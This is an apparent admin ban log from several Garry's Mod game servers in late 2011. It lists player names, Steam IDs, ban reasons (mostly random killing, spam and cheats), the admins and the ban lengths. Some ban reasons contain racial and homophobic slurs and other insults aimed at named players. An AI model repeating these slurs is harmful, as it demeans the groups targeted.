0:16:40 Unbanned +4:10 pm 11-12-11 Unknown STEAM_0:0:26761046 RDM multiple times then +left. +[SP]+ Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:0:0 Unbanned +4:08 pm 11-12-11 Epic Legion STEAM_0:0:30194937 RDMing AFKs +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:59 pm 11-12-11 Jee-Wizz STEAM_0:0:17541780 Mass RDM +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 +Unbanned +2:25 pm 11-12-11 Unknown STEAM_0:0:42214844 Leaving while base was +under attack Norzone Official Zombified World|Lvl Cap +10 Zombified +World 0:16:40 Unbanned +11:06 am 11-12-11 Unknown STEAM_0:0:27813895 Disconnecting while base +is under attack Unknown Entity Official Zombified World|Lvl Cap +10 +Zombified World 0:16:40 Unbanned +12:51 am 11-12-11 Unknown STEAM_0:1:17358836 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +12:29 am 11-12-11 Unknown STEAM_0:0:29941076 RDM then fucked off ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:12:0 Unbanned +11:59 pm 10-12-11 wadey STEAM_0:1:40605260 RDM ' s +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:12:0 Unbanned +9:27 pm 10-12-11 +[SP]+ SaCleoCheater STEAM_0:0:25683809 test +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Deathrun 0:0:0 Unbanned +5:01 pm 10-12-11 Unknown STEAM_0:1:25130905 RDM and leaving +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +3:24 pm 10-12-11 Phygar STEAM_0:0:17546475 Alt of banned ID +STEAM_0:0:26692186 (Console) Fretta|Tigergruppe Kommand Deathrun +0:0:0 Unbanned +2:50 pm 10-12-11 speuda STEAM_0:0:25701342 Requested. Norzone +Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 Unbanned +2:29 pm 10-12-11 Kizzo Of Owesomeness STEAM_0:0:35309960 Trolling. +Norzone Official Zombified World|Lvl Cap +10 Zombified World 0:5:0 +Unbanned +6:22 pm 09-12-11 Youknowmynamewhenyouseeit STEAM_0:1:19147578 Rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +5:45 pm 09-12-11 Unknown STEAM_0:0:25559631 Ban Request - Mic +Spammer. Third ban so far. +[SP]+ Nemesis Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:0:0 Unbanned +5:06 pm 09-12-11 Bladeur double Triste STEAM_0:1:25716031 please go +cool down +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap ++10 Zombified World 0:6:0 Unbanned +2:50 pm 08-12-11 Camper STEAM_0:0:30697563 goomba stomping, again. +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +2:44 pm 08-12-11 Kuimi STEAM_0:1:9285977 Goomba stomping Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +2:27 pm 08-12-11 â?¢cCâ?¢ MaGnific Rat STEAM_0:1:8993858 RDM +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:12:30 Unbanned +2:24 pm 08-12-11 | TG | Overwatch Elite STEAM_0:0:27058039 Rdm after +warnings +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:0 Unbanned +1:23 am 08-12-11 Ki113r2073 STEAM_0:1:26599296 Chat Spamming. +[SP]+ +Clitaurus Rex Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +10:24 pm 07-12-11 BHD STEAM_0:0:28967667 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +9:58 pm 07-12-11 G.B. Hindert STEAM_0:0:17086047 Goomba stomping +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +9:28 pm 07-12-11 [WS] WaffleCopter101 +PRO+ STEAM_0:1:30713439 +Unban Nekoace Fretta|Tigergruppe Kommand Deathrun 0:0:1 Unbanned +8:19 pm 07-12-11 [Gmod.biz]jamesmcdumpling STEAM_0:0:46646072 rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +8:19 pm 07-12-11 [WS] WaffleCopter101 +PRO+ STEAM_0:1:30713439 map +exploiting MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:34 Unbanned +8:18 pm 07-12-11 AwesomeBros STEAM_0:1:30715362 map exploiting MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +7:27 pm 07-12-11 Teribletwinz STEAM_0:1:17119398 map glitching along +with others Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:18:40 Unbanned +7:26 pm 07-12-11 The Evil Toaster STEAM_0:1:15601130 Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +6:55 pm 07-12-11 Camper STEAM_0:0:30697563 General dicking +around/rdm Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:16:40 Unbanned +1:37 pm 07-12-11 Ti[Ger] STEAM_0:0:15473882 i had no knife, i had a +prop stick now fuck off +[SP]+ Mr Dobilina Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 41:16:0 Unbanned +12:55 pm 07-12-11 Unknown STEAM_0:0:39341825 Ban request - rdm ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 7:15:20 Unbanned +2:34 pm 06-12-11 [TE] 7th-sign STEAM_0:0:34804763 RDM +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:40 Unbanned +8:02 pm 05-12-11 Unknown STEAM_0:0:19340321 Cheat: InkBot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:00 pm 05-12-11 Unknown STEAM_0:1:19839009 Cheat: NeonHack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:24213184 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:5682164 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:31052706 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:28810910 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:31219365 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:26604027 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:42802404 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:40335356 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:26692186 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:42297594 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:28282921 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:10309922 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:39101463 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:0:39690375 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:25657133 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +7:59 pm 05-12-11 Unknown STEAM_0:1:32024708 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:51 pm 05-12-11 Neg@tivnÑ?й^2|Qm)^1(Pro| STEAM_0:1:22685831 Base +Delete +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World 1:0:0 Unbanned +4:51 pm 05-12-11 à¹?à¹?â?¢â?¢$e@Xesâ?¢â?¢à¹?à¹? STEAM_0:0:27446399 +RDM and argued about it - douche +[SP]+ Mr Dobilina Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:16:40 Unbanned +12:03 am 05-12-11 cmrotta76 STEAM_0:1:44862629 Stealing a gun given +by another player +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 4:20:40 Unbanned +6:52 pm 04-12-11 Unknown STEAM_0:1:41358892 RDM then trying to escape +a ban +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +5:48 pm 04-12-11 Teribletwinz STEAM_0:1:17119398 prop killing +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:35 pm 04-12-11 Unknown STEAM_0:1:14282857 TK and not giving the gun +back +[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified +World 2:0:0 Unbanned +2:08 pm 04-12-11 Unknown STEAM_0:0:41174990 RDM and Left Peanut +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 Unbanned +2:07 pm 04-12-11 KarateKid STEAM_0:0:26776903 22 KARKA!?! Peanut +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +9:26 am 04-12-11 blazer(nl) STEAM_0:1:18283118 Propbreaking +(Console) Official Zombified World|Lvl Cap +10 Zombified World +0:2:0 Unbanned +8:19 pm 03-12-11 Karl STEAM_0:0:41898367 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:06 pm 01-12-11 Yashmon STEAM_0:0:14696634 your wish is my command, +*DEAD* Yashmon : Can you ban me for 20 minutesF +[SP]+ Mr Dobilina +Fretta|Tigergruppe Kommand Deathrun 0:0:20 Unbanned +10:52 pm 01-12-11 Unknown STEAM_0:0:29413573 Ban Request, Faction +Base in Trader Ring +[SP]+ Nemesis Official Zombified World|Lvl Cap ++10 Zombified World 1:12:0 Unbanned +10:41 pm 01-12-11 kitten STEAM_0:1:41661803 massive rdm fest +[SP]+ +Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:4:0 Unbanned +2:07 am 30-11-11 Unknown STEAM_0:0:39101463 Utter coon - SethHack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:27 pm 28-11-11 biohazard STEAM_0:0:19938508 You're a bit of a gay, +aren't you? Norzone Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +6:59 pm 28-11-11 Jackson STEAM_0:1:38331357 prop pushing Norzone +Official Zombified World|Lvl Cap +10 Zombified World 0:5:0 Unbanned +6:55 pm 28-11-11 [tg]Diemitery STEAM_0:0:39742443 Prop pushing +Norzone Official Zombified World|Lvl Cap +10 Zombified World 0:5:0 +Unbanned +5:19 pm 28-11-11 Unknown STEAM_0:1:15757583 banned (Console) +Killa's Zombie Survival Server Zombie Survival Permanent Banned +3:15 pm 28-11-11 MrJimBob STEAM_0:1:18751328 Teamkilling +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 +Unbanned +2:17 am 28-11-11 Unknown STEAM_0:1:41122766 ALOT of RDming +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +2:03 am 28-11-11 Unknown STEAM_0:1:40568395 +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:10 am 28-11-11 [WWLR] Cute Adorable Wolf STEAM_0:0:22919872 RDM, +Does not seem to care. +[SP]+ SaCleoCheater Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 10:0:0 Unbanned +11:58 pm 27-11-11 Sheni-Mai æ­»ã?¬ STEAM_0:1:15779806 Goomba stomping +an admin. Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:16:40 Unbanned +6:11 pm 27-11-11 Mr.piratebuy STEAM_0:0:37791743 RDM+Leave +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +10:03 am 27-11-11 ROOKIE RIGGA STEAM_0:1:27874783 Mass RDM as +detective +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 4:4:0 Unbanned +2:55 am 27-11-11 Lumani STEAM_0:1:19606878 RDM +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:03 pm 26-11-11 Unknown STEAM_0:0:46227338 Reban of 2/3, forgot 8 on +the end. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand GarryWare +70:0:0 Unbanned +8:51 pm 26-11-11 Unknown STEAM_0:0:18464487 Chat spam 3/3 - Ban +Request +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Deathrun +70:0:0 Unbanned +8:51 pm 26-11-11 Unknown STEAM_0:0:4622733 Chat spam 2/3 - Ban +Request +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Deathrun +70:0:0 Unbanned +8:50 pm 26-11-11 Unknown STEAM_0:0:23650481 Chat spam 1/3 - Ban +Request +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Deathrun +70:0:0 Unbanned +8:34 pm 25-11-11 --â??KillUFastâ??-- STEAM_0:0:29413573 Deleting base +during war. Nekoace Official Zombified World|Lvl Cap +10 Zombified +World 3:11:20 Unbanned +10:10 pm 24-11-11 +[SP]+ Ã?ĤâţÄ?ḼâÄ?. STEAM_0:1:29265352 asked +for it MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:1 Unbanned +10:04 pm 24-11-11 +[SP]+ Ã?ĤâţÄ?ḼâÄ?. STEAM_0:1:29265352 asked +for it MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:1 Unbanned +9:57 pm 24-11-11 fixtob STEAM_0:1:35625635 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:48 pm 24-11-11 Yo Mama STEAM_0:0:19699556 teamkill MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +6:11 pm 24-11-11 Peterpedal STEAM_0:0:40083491 Some weird ass +nocolide hack Nekoace Killa's Zombie Survival Server Zombie +Survival Permanent Banned +5:51 pm 24-11-11 Applejack STEAM_0:1:19147578 Banned Cutie +Fretta|Tigergruppe Kommand Surf 1:0:0 Unbanned +5:11 pm 24-11-11 Unknown STEAM_0:0:29474517 Base Delete +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +1:0:0 Unbanned +3:28 am 24-11-11 (((CC^1CP^4))) STEAM_0:0:34796502 RDM +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:40 Unbanned +2:45 am 24-11-11 Unknown STEAM_0:0:25559631 Excessive Micspam, Bed +rep. - Ban Request +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand +Surf 1:0:0 Unbanned +10:30 pm 23-11-11 MarviinR STEAM_0:1:40250551 bi MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:27 pm 23-11-11 G.B. Hindert STEAM_0:0:17086047 ' stomping faggit +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +8:17 pm 23-11-11 Deathknightrofl STEAM_0:0:21535588 teamkill MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +7:52 pm 23-11-11 Unknown STEAM_0:0:5492019 fake tags MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +3:42 pm 23-11-11 Cpt.BoneBreaker [MOGZ] STEAM_0:0:30812563 racism ++[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +7:57 pm 22-11-11 =A-o-G= ^0D^3r.^0A^3!_ STEAM_0:1:7361238 RDM +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:11:0 +Unbanned +7:16 pm 22-11-11 Ð?Ï?y.εÏ?ε STEAM_0:1:35863316 I warned you +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:00 pm 22-11-11 Unknown STEAM_0:1:41154609 Ban Request + (Console) +Fretta|Tigergruppe Kommand Deathrun 60:20:58 Unbanned +5:40 pm 22-11-11 Unknown STEAM_0:1:41154609 Mass RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +7:52 pm 21-11-11 Unknown STEAM_0:0:26652185 Left Faction while in +war. +[SP]+ Nemesis Official Zombified World|Lvl Cap +10 Zombified +World 2:0:0 Unbanned +11:43 pm 20-11-11 [LL](S-117) SuPahMaN STEAM_0:1:42693688 same MAD +MANN Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +11:43 pm 20-11-11 [RIOT]seth STEAM_0:1:39015952 stop being a cunt +MAD MANN Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +8:29 pm 20-11-11 darkball1 STEAM_0:0:15620064 RDM Wouldn't respond to +admin. Kicked for low karma. +[SP]+ SaCleoCheater Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:4:0 Unbanned +8:10 pm 20-11-11 Unknown STEAM_0:0:26505662 Not responding, RDM and +left. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:20:40 Unbanned +7:20 pm 20-11-11 Unknown STEAM_0:1:26305198 RDM and left +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:0:0 +Unbanned +7:18 pm 20-11-11 Unknown STEAM_0:1:26305198 Mass RDM, wouldn't +respond. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:18:40 Unbanned +5:57 pm 20-11-11 {[XDj]}WiNtErSt0rM STEAM_0:1:33250973 exploit MAD +MANN Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +5:03 pm 20-11-11 Unknown STEAM_0:0:40706822 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +2:46 pm 20-11-11 â??â??â??â??HL2â??â??â??â?? STEAM_0:0:34523213 +Cadebreaking Norzone Official Zombified World|Lvl Cap +10 Zombified +World 0:3:20 Unbanned +1:13 pm 20-11-11 Unknown STEAM_0:1:39225215 take your advertisements +elsewhere Norzone Official Zombified World|Lvl Cap +10 Zombified +World 2:18:40 Unbanned +12:34 pm 20-11-11 Unknown STEAM_0:1:25179315 RDM,Prop Push + leave ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:10:0 Unbanned +12:54 am 20-11-11 Unknown STEAM_0:0:25155785 Hold on! Extended due to +the ammount of previous bans MAD MANN Fretta|Tigergruppe Kommand Nine +Tenths 7:0:0 Unbanned +12:45 am 20-11-11 James Bomb STEAM_0:1:12108230 Alt of banned ID +STEAM_0:0:25155785 (Console) Fretta|Tigergruppe Kommand Nine Tenths +0:23:56 Unbanned +12:41 am 20-11-11 *|PIRATE|* Justin Bieber Chicke STEAM_0:0:25155785 +baby baby baby noooooo RDM MAD MANN Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +12:31 am 20-11-11 GUNsphinx STEAM_0:1:9885303 wrong! MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +8:26 pm 19-11-11 MarviinR STEAM_0:1:40250551 fuck off MAD MANN +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +1:44 pm 19-11-11 Unknown STEAM_0:0:31219365 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:44 pm 19-11-11 Unknown STEAM_0:1:25657133 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:19 am 19-11-11 Supreme Pootis STEAM_0:1:37618161 Fuck you RDMer. ++[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4629:15:6 Banned +12:02 am 19-11-11 [LL](S-117) SuPahMaN STEAM_0:1:42693688 weapon +stealing in faction war Wigbig Official Zombified World|Lvl Cap +10 +Zombified World 0:1:0 Unbanned +11:52 pm 18-11-11 Jack The Ripper STEAM_0:0:37298910 Faction War +weapon stealing - Not in a faction or in war +[SP]+ Nemesis Official +Zombified World|Lvl Cap +10 Zombified World 2:0:0 Unbanned +7:49 am 18-11-11 Unknown STEAM_0:0:2285859 Here, have a well earned +permaban. Norzone Fretta|Tigergruppe Kommand Gamemaster Permanent +Banned +7:25 pm 17-11-11 [Duplex-owner Roxi STEAM_0:0:26973706 minutes ' +smart ass ' Wigbig Killa's Zombie Survival Server Zombie Survival +4:4:0 Unbanned +2:18 am 17-11-11 Flots STEAM_0:1:42186117 Alt of banned ID +STEAM_0:1:421861172 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +1:58 am 17-11-11 {BAMF}YoUnGxKiLleRx STEAM_0:0:25171937 RDM +[SP]+ +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:30 pm 16-11-11 Unknown STEAM_0:1:30430733 C4 RDM then leave. ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Deathrun 2:0:0 Unbanned +11:54 pm 15-11-11 An Educated Fish STEAM_0:1:33878748 ghosting - dont +do it +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +10:54 pm 15-11-11 Unknown STEAM_0:0:22953976 troll MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:52 pm 15-11-11 swaggasaur STEAM_0:0:22619110 no you shut up and +stop being such a fag MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +3:13 pm 15-11-11 Unknown STEAM_0:1:30708596 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:4:40 Unbanned +2:12 pm 15-11-11 Unknown STEAM_0:1:29884665 Faction Exploit +[SP]+ +Anime Official Zombified World|Lvl Cap +10 Zombified World 4:4:0 +Unbanned +11:27 pm 14-11-11 Unknown STEAM_0:0:24213184 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:1:22119869 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:1:43221644 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:1:43197919 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:0:39163312 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:0:5682164 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:0:23750602 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:1:10088463 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:1:32835647 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:0:31615557 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:27 pm 14-11-11 Unknown STEAM_0:0:45523007 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:00 pm 14-11-11 Applejack STEAM_0:1:19147578 Nice work RDMing an +admin, enjoy your ban Cutie Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +8:57 pm 14-11-11 G.B. Hindert STEAM_0:0:17086047 Exploit RDM. Don't +do it again. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:0:30 Unbanned +4:10 pm 14-11-11 Unknown STEAM_0:0:16210349 RDM then leave. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +1:58 am 14-11-11 MarviinR STEAM_0:1:40250551 Mass RDM, Complaints of +RDM all night, karma reset to 800 at least twice in 2 hours. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:51 am 14-11-11 Prof. Jason STEAM_0:0:37623107 RDM ' d T, tried to +RDM multiple people and wouldn ' t respond to admin. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:7:0 Unbanned +12:04 am 14-11-11 .sf| White_Wolf STEAM_0:0:17875201 claiming rooms +Wigbig Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +4:14 pm 13-11-11 [HG] TheScorpYoN STEAM_0:0:18395000 Retard, RDM in +epic scale +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble +in Terrorist Town Permanent Banned +3:03 am 13-11-11 Unknown STEAM_0:0:15646676 Destroying factions +props,faction exploit +[SP]+ Anime Official Zombified World|Lvl Cap ++10 Zombified World 1:0:0 Unbanned +10:38 pm 12-11-11 James Bomb STEAM_0:1:12108230 Alt of banned ID +STEAM_0:0:25155785 (Console) Fretta|Tigergruppe Kommand Prop Hunt +0:23:29 Unbanned +10:08 pm 12-11-11 *|PIRATE|* Justin Bieber Chicke STEAM_0:0:25155785 +Lol good work RDMing an admin Cutie Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +3:43 pm 12-11-11 Unknown STEAM_0:1:16645930 RDM,wanted to be banned ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +3:24 pm 12-11-11 s.timan STEAM_0:1:43850444 RDming multiple rounds ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:5:0 Unbanned +1:41 am 12-11-11 Someone STEAM_0:0:30174673 watched you rdm +[SP]+ +Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +1:18 am 12-11-11 nathanboy STEAM_0:1:17227228 i even watched you rdm +that time +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +11:02 pm 11-11-11 [GH] Monkeyboy STEAM_0:0:24557761 bi MAD MANN +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +10:09 pm 11-11-11 !OMG Awesome Spycrab! STEAM_0:1:37836792 ' spam ' +Wigbig Killa's Zombie Survival Server Zombie Survival 0:11:6 Unbanned +10:52 pm 10-11-11 DrJetro! STEAM_0:1:9673012 i meant to ban this +guy +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +10:51 pm 10-11-11 Darkness Dragon STEAM_0:0:7135303 rdm twat +[SP]+ +Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +10:51 pm 10-11-11 Prosch STEAM_0:1:13010594 idiot +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +10:38 pm 09-11-11 AppleJack{SA} (back for now) STEAM_0:1:29099518 +stop being a douche +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:1:0 Unbanned +6:05 pm 09-11-11 [TBR] Holli3 STEAM_0:1:17396989 RDM +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:48 pm 08-11-11 Fox STEAM_0:0:29298220 ' I ' m not spawning = ) ' +Wigbig Killa's Zombie Survival Server Zombie Survival 0:6:0 Unbanned +11:13 pm 07-11-11 {Dex} Your discount doctor STEAM_0:1:5819137 +chill +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Sniper Wars +0:0:10 Unbanned +9:32 pm 07-11-11 Unknown STEAM_0:0:17086047 +Leaving +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 Unbanned +9:32 pm 07-11-11 Unknown STEAM_0:0:17086047 Pushing people off +leading to their death as innocent. +[SP]+ ULTRA 